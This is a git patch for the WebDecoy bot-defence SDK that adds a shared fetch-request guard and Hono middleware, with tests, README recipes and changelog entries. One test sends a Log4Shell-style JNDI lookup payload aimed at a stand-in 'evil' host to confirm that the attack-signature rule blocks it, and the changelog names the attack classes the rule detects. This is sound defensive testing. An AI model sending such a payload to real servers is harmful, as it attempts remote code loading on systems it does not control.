From 325ff3dee35789acbfbedacb185963bc1c1adb48 Mon Sep 17 00:00:00 2001 From: Chris Portscheller Date: Fri, 21 Aug 2026 21:32:46 -0500 Subject: [PATCH] feat(hono): one fetch adapter, and Hono on top of it Express, Fastify and Next.js had each grown their own copy of the same decision tree: skip-path matching, monitor versus enforce, honeytoken arming, the 429 with a Retry-After, fail-open error handling. Three copies is three places for the branch that matters to be subtly different, and it already had been -- the leftmost-X-Forwarded-For bug survived in two adapters after the WordPress plugin fixed it. createFetchGuard() is that tree written once, over WHATWG Request and Response. It is also the answer to "which framework do you support": Bun, Deno, Astro, Nitro, SvelteKit and Remix all hand you a Request and want a Response, so they need a documented recipe rather than a package. Hono gets a package because it has a middleware contract worth fitting, and because it is the default on Workers, Bun and Deno -- the runtimes the rest of our stack already fronts. The Cloudflare edge sensor has been tagging every request it forwards and readEdgeVerdict() has existed so the origin can act on that tag; there was no origin middleware there to do it. Honeytoken injection works through the fetch shape too, which the Express implementation needed response-stream interception to achieve. Reading and rewriting a Response is enough, so Hono got it for free. check:edge now covers three entry points. Closes WebDecoy/app#727 Closes WebDecoy/app#736 --- CHANGELOG.md | 4 + README.md | 41 ++++- package-lock.json | 37 ++++ package.json | 2 +- packages/hono/jest.config.js | 8 + packages/hono/package.json | 64 +++++++ packages/hono/src/index.ts | 84 +++++++++ packages/hono/src/middleware.test.ts | 121 +++++++++++++ packages/hono/tsconfig.json | 25 +++ packages/webdecoy/src/fetch-guard.ts | 248 +++++++++++++++++++++++++++ packages/webdecoy/src/index.ts | 6 + scripts/check-edge.mjs | 2 +- 12 files changed, 639 insertions(+), 3 deletions(-) create mode 100644 packages/hono/jest.config.js create mode 100644 packages/hono/package.json create mode 100644 packages/hono/src/index.ts create mode 100644 packages/hono/src/middleware.test.ts create mode 100644 packages/hono/tsconfig.json create mode 100644 packages/webdecoy/src/fetch-guard.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index ee7b0ac..f9af499 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,6 +9,10 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Added +- **`@webdecoy/hono`** — middleware for Hono, which is the default on Cloudflare Workers, Bun and Deno. Those are the runtimes the rest of the stack already sits in front of: the Cloudflare edge sensor tags every request it forwards and `readEdgeVerdict()` exists so the origin can act on that tag, but there was no origin middleware there to do it. Honeytoken injection, skip paths, monitor/enforce and the 429 with `Retry-After` all work as they do elsewhere; the decision is on `c.get('webdecoy')`. + +- **`createFetchGuard()`** — one adapter over WHATWG `Request`/`Response`, which `@webdecoy/hono` is a thin wrapper around and which covers Bun, Deno, Astro, Nitro, SvelteKit and Remix with no package at all. Express, Fastify and Next.js had each grown their own copy of the same decision tree — skip paths, monitor/enforce, honeytoken arming, the 429, fail-open error handling — and three copies is three places for the branch that matters to differ, which is how the leftmost-`X-Forwarded-For` bug survived in two adapters after the WordPress plugin had fixed it. Included in the edge-compatibility gate. + - **`botPolicy()` — one policy, published and enforced.** `BOT_REGISTRY` already carried the customer-facing categories and `bots()` already enforced against it, but nothing published from it, so every site hand-wrote a `robots.txt` that drifted from what the code did. `botPolicy({ deny, allow })` returns both `robotsTxt()` and `rule()`, resolved from the same set — a test asserts across all 169 registry agents that the two cannot diverge. The generated file names the agents in your deny set whose operator does not document honouring robots.txt, so it says which of its own lines are only a request; `policy.unenforceable` is the same list in code. No API key. - **`attackSignatures()` — a curated attack-payload rule.** Tripwires catch scanners by the path they ask for; nothing looked at what they send. Deliberately not a WAF: a small set of signatures (SQL injection, XSS, traversal, command injection, `${jndi:`) each chosen because it has no innocent reading in a path or query. Inspects path and query by default; bodies and headers are opt-in, and the `Cookie` header is never inspected at all. Every pattern is anchored or literal with no nested quantifiers, and input is truncated at `maxBytes`, so a crafted payload cannot turn the rule into the denial of service it exists to catch. Covered by a 17-case false-positive corpus of ordinary traffic. diff --git a/README.md b/README.md index 378f19a..39d8179 100644 --- a/README.md +++ b/README.md @@ -90,7 +90,45 @@ app.use( ); ``` -Fastify (`@webdecoy/fastify`) and Next.js (`@webdecoy/nextjs`) expose the same rule-based middleware. +Fastify (`@webdecoy/fastify`), Next.js (`@webdecoy/nextjs`) and Hono (`@webdecoy/hono`) expose the same rule-based middleware. + +### Hono — Workers, Bun, Deno + +```bash +npm install @webdecoy/hono +``` + +```typescript +import { Hono } from 'hono'; +import { webdecoy } from '@webdecoy/hono'; +import { tripwire } from '@webdecoy/node'; + +const app = new Hono(); +app.use('*', webdecoy({ rules: [tripwire()], skipPaths: ['/health'] })); +``` + +`c.get('webdecoy')` carries the decision — in monitor mode, which is the default, +that is the only place the verdict surfaces. + +### Any other fetch runtime — no package needed + +Bun, Deno, Astro, Nitro, SvelteKit and Remix all hand you a WHATWG `Request` and +want a `Response`. `createFetchGuard()` is the same implementation the Hono +adapter wraps: + +```typescript +import { createFetchGuard, tripwire } from '@webdecoy/node'; + +const guard = createFetchGuard({ mode: 'enforce', rules: [tripwire()] }); + +export default { + async fetch(request: Request): Promise { + const { response } = await guard.check(request); + if (response) return response; // denied + return guard.decorate(await handle(request)); // injects the honeytoken link + }, +}; +``` ## More local rules @@ -203,6 +241,7 @@ if (!result.allowed) { | [@webdecoy/express](https://www.npmjs.com/package/@webdecoy/express) | [![npm](https://img.shields.io/npm/v/@webdecoy/express.svg)](https://www.npmjs.com/package/@webdecoy/express) | Express.js middleware | | [@webdecoy/fastify](https://www.npmjs.com/package/@webdecoy/fastify) | [![npm](https://img.shields.io/npm/v/@webdecoy/fastify.svg)](https://www.npmjs.com/package/@webdecoy/fastify) | Fastify plugin | | [@webdecoy/nextjs](https://www.npmjs.com/package/@webdecoy/nextjs) | [![npm](https://img.shields.io/npm/v/@webdecoy/nextjs.svg)](https://www.npmjs.com/package/@webdecoy/nextjs) | Next.js middleware | +| [@webdecoy/hono](https://www.npmjs.com/package/@webdecoy/hono) | [![npm](https://img.shields.io/npm/v/@webdecoy/hono.svg)](https://www.npmjs.com/package/@webdecoy/hono) | Hono middleware (Workers, Bun, Deno) | | [@webdecoy/client](https://www.npmjs.com/package/@webdecoy/client) | [![npm](https://img.shields.io/npm/v/@webdecoy/client.svg)](https://www.npmjs.com/package/@webdecoy/client) | Browser-side signal collector | ## One bot policy, published and enforced diff --git a/package-lock.json b/package-lock.json index b615348..bbd7ae1 100644 --- a/package-lock.json +++ b/package-lock.json @@ -3419,6 +3419,10 @@ "resolved": "packages/fastify", "link": true }, + "node_modules/@webdecoy/hono": { + "resolved": "packages/hono", + "link": true + }, "node_modules/@webdecoy/nextjs": { "resolved": "packages/nextjs", "link": true @@ -5954,6 +5958,16 @@ "node": ">= 0.4" } }, + "node_modules/hono": { + "version": "4.13.3", + "resolved": "https://registry.npmjs.org/hono/-/hono-4.13.3.tgz", + "integrity": "sha512-r8AO2mYHoLxSHkgafNeC/BXyb2vWRxD3jem4Ts+ptav8oTG5FIRifAjuJEmZI4bSvvc2ns0GxmIYiZnHqN3mMw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=16.9.0" + } + }, "node_modules/html-encoding-sniffer": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-3.0.0.tgz", @@ -10456,6 +10470,29 @@ "fastify": "^4.0.0 || ^5.0.0" } }, + "packages/hono": { + "name": "@webdecoy/hono", + "version": "0.12.0", + "license": "MIT", + "dependencies": { + "@webdecoy/node": "^0.12.0" + }, + "devDependencies": { + "@types/jest": "^29.5.11", + "@types/node": "^20.11.0", + "hono": "^4.6.0", + "jest": "^29.7.0", + "ts-jest": "^29.1.1", + "tsup": "^8.0.1", + "typescript": "^5.3.3" + }, + "engines": { + "node": ">=18.0.0" + }, + "peerDependencies": { + "hono": "^4.0.0" + } + }, "packages/nextjs": { "name": "@webdecoy/nextjs", "version": "0.12.0", diff --git a/package.json b/package.json index fc7fa3c..989dca8 100644 --- a/package.json +++ b/package.json @@ -20,7 +20,7 @@ "test": "turbo run test", "clean": "turbo run clean && rm -rf node_modules", "format": "prettier --write \"**/*.{ts,tsx,js,jsx,json,md}\"", - "check:edge": "npm run check:edge -w @webdecoy/node -w @webdecoy/nextjs" + "check:edge": "npm run check:edge -w @webdecoy/node -w @webdecoy/nextjs -w @webdecoy/hono" }, "devDependencies": { "@changesets/cli": "^2.27.1", diff --git a/packages/hono/jest.config.js b/packages/hono/jest.config.js new file mode 100644 index 0000000..57b4da5 --- /dev/null +++ b/packages/hono/jest.config.js @@ -0,0 +1,8 @@ +/** @type {import('ts-jest').JestConfigWithTsJest} */ +module.exports = { + preset: 'ts-jest', + testEnvironment: 'node', + roots: ['/src'], + testMatch: ['**/*.test.ts'], + collectCoverageFrom: ['src/**/*.ts', '!src/**/*.test.ts'], +}; diff --git a/packages/hono/package.json b/packages/hono/package.json new file mode 100644 index 0000000..a6b55f3 --- /dev/null +++ b/packages/hono/package.json @@ -0,0 +1,64 @@ +{ + "name": "@webdecoy/hono", + "version": "0.12.0", + "description": "Web Decoy middleware for Hono — Cloudflare Workers, Bun, Deno, Node", + "main": "./dist/index.js", + "types": "./dist/index.d.ts", + "exports": { + ".": { + "require": "./dist/index.js", + "import": "./dist/index.mjs", + "types": "./dist/index.d.ts" + } + }, + "files": [ + "dist" + ], + "scripts": { + "build": "tsup src/index.ts --format cjs,esm --dts --clean", + "dev": "tsup src/index.ts --format cjs,esm --dts --watch", + "test": "jest", + "lint": "eslint src --max-warnings 0", + "clean": "rm -rf dist", + "check:edge": "node ../../scripts/check-edge.mjs src/index.ts" + }, + "keywords": [ + "web-decoy", + "hono", + "middleware", + "bot-detection", + "cloudflare-workers", + "bun", + "deno", + "security" + ], + "author": "Web Decoy", + "license": "MIT", + "homepage": "https://github.com/WebDecoy/node#readme", + "repository": { + "type": "git", + "url": "git+https://github.com/WebDecoy/node.git", + "directory": "packages/hono" + }, + "bugs": { + "url": "https://github.com/WebDecoy/node/issues" + }, + "dependencies": { + "@webdecoy/node": "^0.12.0" + }, + "peerDependencies": { + "hono": "^4.0.0" + }, + "devDependencies": { + "@types/jest": "^29.5.11", + "@types/node": "^20.11.0", + "jest": "^29.7.0", + "ts-jest": "^29.1.1", + "tsup": "^8.0.1", + "typescript": "^5.3.3", + "hono": "^4.6.0" + }, + "engines": { + "node": ">=18.0.0" + } +} diff --git a/packages/hono/src/index.ts b/packages/hono/src/index.ts new file mode 100644 index 0000000..4d6a86b --- /dev/null +++ b/packages/hono/src/index.ts @@ -0,0 +1,84 @@ +/** + * Web Decoy middleware for Hono. + * + * Hono is the default on Cloudflare Workers, Bun and Deno — the runtimes where + * the rest of our stack already sits. The Cloudflare edge sensor fronts these + * deployments and tags every request it forwards, and `readEdgeVerdict()` exists + * so the origin can act on that tag. Until now there was no origin middleware + * there to do it. + * + * @example + * ```ts + * import { Hono } from 'hono'; + * import { webdecoy } from '@webdecoy/hono'; + * import { tripwire, rateLimit } from '@webdecoy/node'; + * + * const app = new Hono(); + * + * app.use('*', webdecoy({ + * rules: [tripwire(), rateLimit({ max: 100, window: 60 })], + * skipPaths: ['/health'], + * })); + * ``` + */ + +import type { Context, MiddlewareHandler, Next } from 'hono'; +import { createFetchGuard } from '@webdecoy/node'; +import type { FetchGuardOptions, Decision } from '@webdecoy/node'; + +export interface WebDecoyHonoOptions extends Omit { + /** + * Build the blocking response. Defaults to 403, or 429 with a `Retry-After` + * for a throttle. + */ + onBlocked?: (c: Context, decision: Decision) => Response | Promise; +} + +/** + * Where the decision is stashed on the Hono context. + * + * Read it with `c.get('webdecoy')` — in monitor mode this is the only place the + * verdict surfaces, and monitor is the default. + */ +export const WEBDECOY_CONTEXT_KEY = 'webdecoy'; + +declare module 'hono' { + interface ContextVariableMap { + webdecoy?: Decision; + } +} + +export function webdecoy(options: WebDecoyHonoOptions = {}): MiddlewareHandler { + const { onBlocked, ...guardOptions } = options; + const guard = createFetchGuard(guardOptions); + + return async (c: Context, next: Next): Promise => { + if (guard.skips(new URL(c.req.url).pathname)) { + await next(); + return; + } + + // Workers expose the peer address as a header rather than a socket, and + // there is no portable accessor across Hono's runtimes — so the guard's + // trusted-hops default over X-Forwarded-For is what resolves the client, + // and `trustProxy: 'cloudflare'` is the stronger choice behind Cloudflare. + const { decision, response } = await guard.check(c.req.raw); + c.set(WEBDECOY_CONTEXT_KEY, decision); + + if (response) { + return onBlocked ? await onBlocked(c, decision) : response; + } + + await next(); + + // Honeytoken injection. Hono has already built the response, so this reads + // and rewrites it — full HTML documents only, and never one whose body the + // application has already consumed. + if (c.res) { + c.res = await guard.decorate(c.res); + } + }; +} + +export type { FetchGuardOptions, Decision } from '@webdecoy/node'; +export type { WebDecoyConfig, RequestMetadata, ProtectResult } from '@webdecoy/node'; diff --git a/packages/hono/src/middleware.test.ts b/packages/hono/src/middleware.test.ts new file mode 100644 index 0000000..d98be4d --- /dev/null +++ b/packages/hono/src/middleware.test.ts @@ -0,0 +1,121 @@ +import { Hono } from 'hono'; +import { tripwire, rateLimit } from '@webdecoy/node'; +import { webdecoy } from './index'; + +/** + * The Hono adapter, exercised through a real app. + * + * Hono runs on Workers, Bun and Deno, so these use `app.request()` — the same + * fetch-shaped entry point those runtimes call — rather than standing up a + * server. + */ +function appWith(options: Parameters[0] = {}) { + const app = new Hono(); + app.use('*', webdecoy({ mode: 'enforce', rules: [tripwire()], ...options })); + app.get('/', (c) => c.text('ok')); + app.get('/health', (c) => c.text('healthy')); + app.get('/page', (c) => c.html('

hi

')); + app.get('/api', (c) => c.json({ ok: true })); + return app; +} + +describe('the Hono middleware', () => { + it('serves an ordinary request', async () => { + const res = await appWith().request('/'); + expect(res.status).toBe(200); + expect(await res.text()).toBe('ok'); + }); + + it('blocks a tripwire hit with 403', async () => { + const res = await appWith().request('/.env'); + expect(res.status).toBe(403); + expect(await res.json()).toMatchObject({ error: 'Forbidden' }); + }); + + it('answers a rate-limit denial with 429 and Retry-After', async () => { + const app = appWith({ rules: [rateLimit({ max: 1, window: 60 })] }); + expect((await app.request('/')).status).toBe(200); + const limited = await app.request('/'); + expect(limited.status).toBe(429); + expect(limited.headers.get('retry-after')).toBeTruthy(); + }); + + it('skips the paths it was told to skip', async () => { + const res = await appWith({ skipPaths: ['/health'] }).request('/health'); + expect(res.status).toBe(200); + }); + + it('serves the request in monitor mode, which is the default', async () => { + const app = new Hono(); + app.use('*', webdecoy({ rules: [tripwire()] })); + app.get('/.env', (c) => c.text('served')); + + const res = await app.request('/.env'); + expect(res.status).toBe(200); + expect(await res.text()).toBe('served'); + }); + + it('exposes the decision on the context even when it allows', async () => { + // In monitor mode this is the only place the verdict surfaces, and monitor + // is the default. + const app = new Hono(); + app.use('*', webdecoy({ rules: [tripwire()] })); + app.get('/.env', (c) => c.json({ denied: c.get('webdecoy')?.deniedBy('tripwire') ?? null })); + + expect(await (await app.request('/.env')).json()).toEqual({ denied: true }); + }); + + it('lets onBlocked shape the response', async () => { + const app = appWith({ + onBlocked: (c, decision) => c.text(`nope: ${decision.reason ?? ''}`, 418), + }); + const res = await app.request('/.env'); + expect(res.status).toBe(418); + expect(await res.text()).toMatch(/^nope:/); + }); + + it('sees the query string, so attack signatures can match on it', async () => { + const { attackSignatures } = await import('@webdecoy/node'); + const app = appWith({ rules: [attackSignatures()] }); + expect((await app.request('/?x=${jndi:ldap://evil/a}')).status).toBe(403); + expect((await app.request('/?q=coffee%20or%20tea')).status).toBe(200); + }); +}); + +describe('honeytoken injection through Hono', () => { + const withKey = { apiKey: 'sk_live_hono_test', skipLocalAnalysis: true, mode: 'monitor' as const }; + /** The token derives via async HMAC; give it a tick to settle. */ + const settle = () => new Promise((r) => setTimeout(r, 50)); + + it('injects into an HTML response', async () => { + const app = appWith(withKey); + await settle(); + const body = await (await app.request('/page')).text(); + expect(body).toMatch(/]*href="\/__wd\//); + expect(body).toContain('

hi

'); + }); + + it('leaves JSON completely alone', async () => { + const app = appWith(withKey); + await settle(); + expect(await (await app.request('/api')).json()).toEqual({ ok: true }); + }); + + it('does nothing without an apiKey, since the token derives from it', async () => { + const app = appWith({ mode: 'monitor' }); + await settle(); + expect(await (await app.request('/page')).text()).toBe( + '

hi

', + ); + }); + + it('does not commit a stale Content-Length', async () => { + const app = appWith(withKey); + await settle(); + const res = await app.request('/page'); + const length = res.headers.get('content-length'); + const body = await res.text(); + // Either recomputed or absent. A stale one truncates the body at the client. + if (length !== null) expect(Number(length)).toBe(new TextEncoder().encode(body).length); + }); +}); diff --git a/packages/hono/tsconfig.json b/packages/hono/tsconfig.json new file mode 100644 index 0000000..0020352 --- /dev/null +++ b/packages/hono/tsconfig.json @@ -0,0 +1,25 @@ +{ + "compilerOptions": { + "target": "ES2020", + "module": "ESNext", + "lib": ["ES2020"], + "declaration": true, + "strict": true, + "noImplicitAny": true, + "strictNullChecks": true, + "noImplicitThis": true, + "alwaysStrict": true, + "noUnusedLocals": false, + "noUnusedParameters": false, + "noImplicitReturns": true, + "noFallthroughCasesInSwitch": false, + "moduleResolution": "node", + "esModuleInterop": true, + "skipLibCheck": true, + "forceConsistentCasingInFileNames": true, + "outDir": "./dist", + "rootDir": "./src" + }, + "include": ["src/**/*"], + "exclude": ["node_modules", "dist"] +} diff --git a/packages/webdecoy/src/fetch-guard.ts b/packages/webdecoy/src/fetch-guard.ts new file mode 100644 index 0000000..f6d3e1a --- /dev/null +++ b/packages/webdecoy/src/fetch-guard.ts @@ -0,0 +1,248 @@ +/** + * One adapter, for every runtime that speaks `Request` and `Response`. + * + * WHY THIS EXISTS + * + * Express, Fastify and Next.js each grew their own copy of the same middleware: + * skip-path matching, monitor-versus-enforce, honeytoken arming, the 429 with a + * `Retry-After`, fail-open error handling. Three copies of a decision tree is + * three places for the branch that matters to be subtly different — and it + * already had been, which is how the leftmost-`X-Forwarded-For` bug survived in + * two adapters after the WordPress plugin fixed it. + * + * It is also the answer to "which framework do you support?". Hono, Bun, Deno, + * Astro, Nitro, SvelteKit and Remix all hand you a WHATWG `Request` and want a + * `Response` back. Written once here, each of those is a translation layer thin + * enough not to need a package — see the README recipe — and `@webdecoy/hono` is + * the one that does, because Hono has a middleware contract worth fitting. + * + * No `node:` imports: this is the code path that has to run on Workers. + */ + +import { WebDecoy } from './sdk'; +import type { WebDecoyConfig, RequestMetadata, ProtectOptions } from './types'; +import type { Decision } from './decision'; +import { resolveClientIp, normalizeIp } from './client-ip'; +import type { TrustedProxies } from './client-ip'; +import { + siteHoneytoken, + injectHoneytokenLink, + isInjectableHtml, + tripwire, + type SiteHoneytoken, +} from './rules'; + +export interface FetchGuardOptions extends WebDecoyConfig, ProtectOptions { + /** + * Whether a blocking verdict actually blocks. Defaults to `'monitor'`. + * + * Nobody adopts a defence by having it break their site on the first install. + * Watch what it would have done, then switch. + */ + mode?: 'monitor' | 'enforce'; + + /** Paths to skip entirely — health checks, static assets. */ + skipPaths?: (string | RegExp)[]; + + /** + * How much of the `X-Forwarded-For` chain to believe. Defaults to `1` trusted + * hop: a fetch handler has no socket to fall back on, so there is no + * believe-nothing default available. See `resolveClientIp`. + */ + trustProxy?: TrustedProxies; + + /** Override IP resolution entirely. */ + getIP?: (request: Request) => string; + + /** + * Inject a hidden honeytoken link into HTML responses, and arm the tripwire it + * points at. Defaults to on when an `apiKey` is present. + */ + honeytoken?: boolean; + + /** Build the blocking response. Defaults to 403, or 429 for a throttle. */ + onBlocked?: (request: Request, decision: Decision) => Response | Promise; +} + +export interface GuardOutcome { + /** What the SDK concluded. Always present, in both modes. */ + decision: Decision; + /** + * The response to return instead of calling the handler, or undefined to + * carry on. Undefined in monitor mode even when the decision is a denial. + */ + response?: Response; +} + +export interface FetchGuard { + /** Evaluate one request. */ + check(request: Request, peer?: string): Promise; + /** + * Rewrite an HTML response to carry the honeytoken link. Returns the response + * unchanged when there is no token yet, or the body is not injectable HTML. + */ + decorate(response: Response): Promise; + /** Whether this path is skipped. */ + skips(pathname: string): boolean; + /** The underlying SDK, for `detectBot()` and friends. */ + sdk: WebDecoy; +} + +function defaultBlocked(_request: Request, decision: Decision): Response { + const throttled = decision.ruleResult?.action === 'THROTTLE'; + const retryAfter = Number(decision.ruleResult?.metadata?.retryAfter ?? 60); + + if (throttled) { + return new Response( + JSON.stringify({ + error: 'Too Many Requests', + message: decision.reason ?? 'Rate limit exceeded', + retry_after: retryAfter, + detection_id: decision.id, + }), + { + status: 429, + headers: { + 'content-type': 'application/json', + 'retry-after': String(retryAfter), + }, + }, + ); + } + + return new Response( + JSON.stringify({ + error: 'Forbidden', + message: 'Access denied by Web Decoy protection', + detection_id: decision.id, + }), + { status: 403, headers: { 'content-type': 'application/json' } }, + ); +} + +function matches(pathname: string, patterns: (string | RegExp)[] | undefined): boolean { + if (!patterns || patterns.length === 0) return false; + return patterns.some((p) => + typeof p === 'string' ? pathname === p || pathname.startsWith(p) : p.test(pathname), + ); +} + +function headerRecord(headers: Headers): Record { + const out: Record = {}; + headers.forEach((value, key) => { + out[key.toLowerCase()] = value; + }); + return out; +} + +/** + * A guard over WHATWG `Request`/`Response`. + * + * ```ts + * const guard = createFetchGuard({ rules: [tripwire()] }); + * + * export default { + * async fetch(request) { + * const { response } = await guard.check(request); + * if (response) return response; + * return guard.decorate(await handle(request)); + * }, + * }; + * ``` + */ +export function createFetchGuard(options: FetchGuardOptions = {}): FetchGuard { + const sdk = new WebDecoy(options); + const mode = options.mode ?? 'monitor'; + const onBlocked = options.onBlocked ?? defaultBlocked; + + // Derived from the API key so every replica computes the same path without + // coordinating — a random per-process token would advertise a link whose + // tripwire only one replica had armed. Requests served before the async HMAC + // settles simply carry no link. + let token: SiteHoneytoken | null = null; + if ((options.honeytoken ?? true) && options.apiKey) { + void siteHoneytoken({ secret: options.apiKey }) + .then((t) => { + token = t; + // Arm the path before advertising it: a link with no trap behind it is + // bait a crawler follows for nothing. + sdk.addRule(tripwire({ paths: t.activePaths, includeDefaults: false })); + }) + .catch(() => { + // Deriving the token is not worth a failed boot. + }); + } + + function resolveIP(request: Request, peer?: string): string { + if (options.getIP) return options.getIP(request); + return ( + resolveClientIp({ + headers: request.headers, + peer, + trustProxy: options.trustProxy ?? 1, + }) ?? + normalizeIp(peer) ?? + '127.0.0.1' + ); + } + + return { + sdk, + + skips(pathname: string): boolean { + return matches(pathname, options.skipPaths); + }, + + async check(request: Request, peer?: string): Promise { + const url = new URL(request.url); + + const metadata: RequestMetadata = { + method: request.method, + path: url.pathname, + ip: resolveIP(request, peer), + user_agent: request.headers.get('user-agent') ?? undefined, + headers: headerRecord(request.headers), + query: url.search ? url.search.slice(1) : undefined, + timestamp: Date.now(), + }; + + const decision = await sdk.protect(metadata, { + threshold: options.threshold, + skipLocalAnalysis: options.skipLocalAnalysis, + metadata: options.metadata, + }); + + // Monitor mode records the verdict and serves the request anyway. The + // decision is still returned, so an application can log or meter it. + if (decision.allowed || mode !== 'enforce') return { decision }; + + return { decision, response: await onBlocked(request, decision) }; + }, + + async decorate(response: Response): Promise { + const current = token; + if (!current) return response; + if (!isInjectableHtml(response.headers.get('content-type'))) return response; + // A body already consumed by the application cannot be read again, and + // throwing here would turn a missed detection into a broken page. + if (response.bodyUsed) return response; + + try { + const html = await response.text(); + const injected = injectHoneytokenLink(html, current.linkHtml); + if (injected === html) return new Response(html, response); + + const headers = new Headers(response.headers); + // Recomputed, or the client truncates the body at the old length. + headers.delete('content-length'); + return new Response(injected, { + status: response.status, + statusText: response.statusText, + headers, + }); + } catch { + return response; + } + }, + }; +} diff --git a/packages/webdecoy/src/index.ts b/packages/webdecoy/src/index.ts index 2538443..67d8c61 100644 --- a/packages/webdecoy/src/index.ts +++ b/packages/webdecoy/src/index.ts @@ -80,6 +80,12 @@ export type { EdgeClass, EdgeVerdict } from './edge'; export { matchUserAgent, classifyUserAgent, BOT_REGISTRY, BOT_CATEGORIES } from './bots'; export type { BotVerdict, BotAgent, BotCategory } from './bots'; +// A guard over WHATWG Request/Response — the one adapter that covers every +// runtime with a fetch handler. `@webdecoy/hono` is a thin wrapper over it; Bun, +// Deno, Astro and Nitro need no package at all. +export { createFetchGuard } from './fetch-guard'; +export type { FetchGuard, FetchGuardOptions, GuardOutcome } from './fetch-guard'; + // Rules engine exports export { rateLimit, diff --git a/scripts/check-edge.mjs b/scripts/check-edge.mjs index a0f358a..0f1abf1 100644 --- a/scripts/check-edge.mjs +++ b/scripts/check-edge.mjs @@ -29,7 +29,7 @@ for (const entry of entries) { platform: 'browser', format: 'esm', logLevel: 'silent', - external: ['next', 'next/*', 'express', 'fastify', 'fastify-plugin'], + external: ['next', 'next/*', 'express', 'fastify', 'fastify-plugin', 'hono'], }); console.log(`✓ edge-compatible: ${entry}`); } catch (error) {